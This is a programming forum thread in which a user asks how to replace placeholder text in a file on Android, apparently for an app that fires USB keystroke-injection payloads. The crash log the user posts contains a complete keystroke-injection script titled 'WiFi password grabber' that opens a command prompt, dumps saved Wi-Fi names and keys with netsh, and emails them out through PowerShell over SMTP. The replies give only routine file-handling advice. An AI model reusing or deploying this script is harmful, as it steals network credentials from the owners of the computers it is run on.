Android Question how to replace text in a text file?

D

Deleted member 97504

Guest
I want to replace this "Youmail@yourdomain.com" with edittext1.text in a text file. on The /data/data/com.droidducky.tim/files/test.txt
how to do that? thanks if you post the answer.
Regards,
Tim wanders
(sorry for the noobie question.)
 

DonManfred

Expert
Licensed User
Longtime User
Files in assets folder (files folder) are readonly.
Read the file into a variable
Replace the string
write the content to disc using another destinationpath than assets

Read the beginnersguide and usersguide to get inspiration.

Use the forumsearch! All this is discussed few times. I´m sure you´ll find an answer when using the search first.

PD: Welcome to B4X community!
 
Upvote 0
D

Deleted member 97504

Guest
I ALWAYS search first before I actually create a thread and thanks.
 
Upvote 0
D

Deleted member 97504

Guest
B4X:
Dim s As String = File.ReadString(File.DirAssets, ...)
s = s.Replace("aaaa", EditText1.Text)
File.WriteString(..., ...)
If I do this:
B4X:
Sub Save_click
    If edittext2.Text = edittext3.text Then
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        s = sa.Replace("yourmail@yourmail.com", edittext1.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        s = sa.Replace("yourpassword", edittext2.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        s = sa.Replace("yoursmtpserver", edittext4.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
      
        StartActivity("Main")
        Activity.Finish
        Else
            Msgbox("Check your password again, they are not the same.","Error:")
    End If
The app crashes with this error:
B4X:
** Service (starter) Create **
** Service (starter) Start **
** Activity (main) Create, isFirst = true **
** Activity (main) Resume **
** Activity (main) Pause, UserClosed = false **
** Activity (main) Resume **
** Activity (main) Pause, UserClosed = true **
** Activity (mail_setup) Create, isFirst = true **
** Activity (mail_setup) Resume **
mail_setup_save_click (java line: 373)
java.io.FileNotFoundException: /REM Title: WiFi password grabber
REM Author: Siem
REM Version: 3
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000
REM --> Minimize all windows
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER
REM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
REM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER
REM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER
REM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER
REM --> Delete A.txt
STRING del A.txt
ENTER
REM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.ziggo.nl'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('tim241@ziggo.nl', 'mypassword ;-)')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'tim241@ziggo.nl'
ENTER
STRING $ReportEmail.To.Add('tim241@ziggo.nl')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 500
REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER/data/data/com.droidducky.tim/files: open failed: ENAMETOOLONG (File name too long)
    at libcore.io.IoBridge.open(IoBridge.java:409)
    at java.io.FileOutputStream.<init>(FileOutputStream.java:88)
    at anywheresoftware.b4a.objects.streams.File.OpenOutput(File.java:370)
    at anywheresoftware.b4a.objects.streams.File.WriteString(File.java:258)
    at com.droidducky.tim.mail_setup._save_click(mail_setup.java:373)
    at java.lang.reflect.Method.invokeNative(Native Method)
    at java.lang.reflect.Method.invoke(Method.java:515)
    at anywheresoftware.b4a.BA.raiseEvent2(BA.java:169)
    at anywheresoftware.b4a.BA.raiseEvent2(BA.java:157)
    at anywheresoftware.b4a.BA.raiseEvent(BA.java:153)
    at anywheresoftware.b4a.objects.ViewWrapper$1.onClick(ViewWrapper.java:78)
    at android.view.View.performClick(View.java:4639)
    at android.view.View$PerformClick.run(View.java:19252)
    at android.os.Handler.handleCallback(Handler.java:733)
    at android.os.Handler.dispatchMessage(Handler.java:95)
    at android.os.Looper.loop(Looper.java:146)
    at android.app.ActivityThread.main(ActivityThread.java:5511)
    at java.lang.reflect.Method.invokeNative(Native Method)
    at java.lang.reflect.Method.invoke(Method.java:515)
    at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1283)
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1099)
    at dalvik.system.NativeStart.main(Native Method)
Caused by: libcore.io.ErrnoException: open failed: ENAMETOOLONG (File name too long)
    at libcore.io.Posix.open(Native Method)
    at libcore.io.BlockGuardOs.open(BlockGuardOs.java:110)
    at libcore.io.IoBridge.open(IoBridge.java:393)
    ... 21 more
 
Upvote 0

sorex

Expert
Licensed User
Longtime User
you only need to open the file once and save it once after all the replaces.

the error says that the file is not being found
 
Upvote 0
Top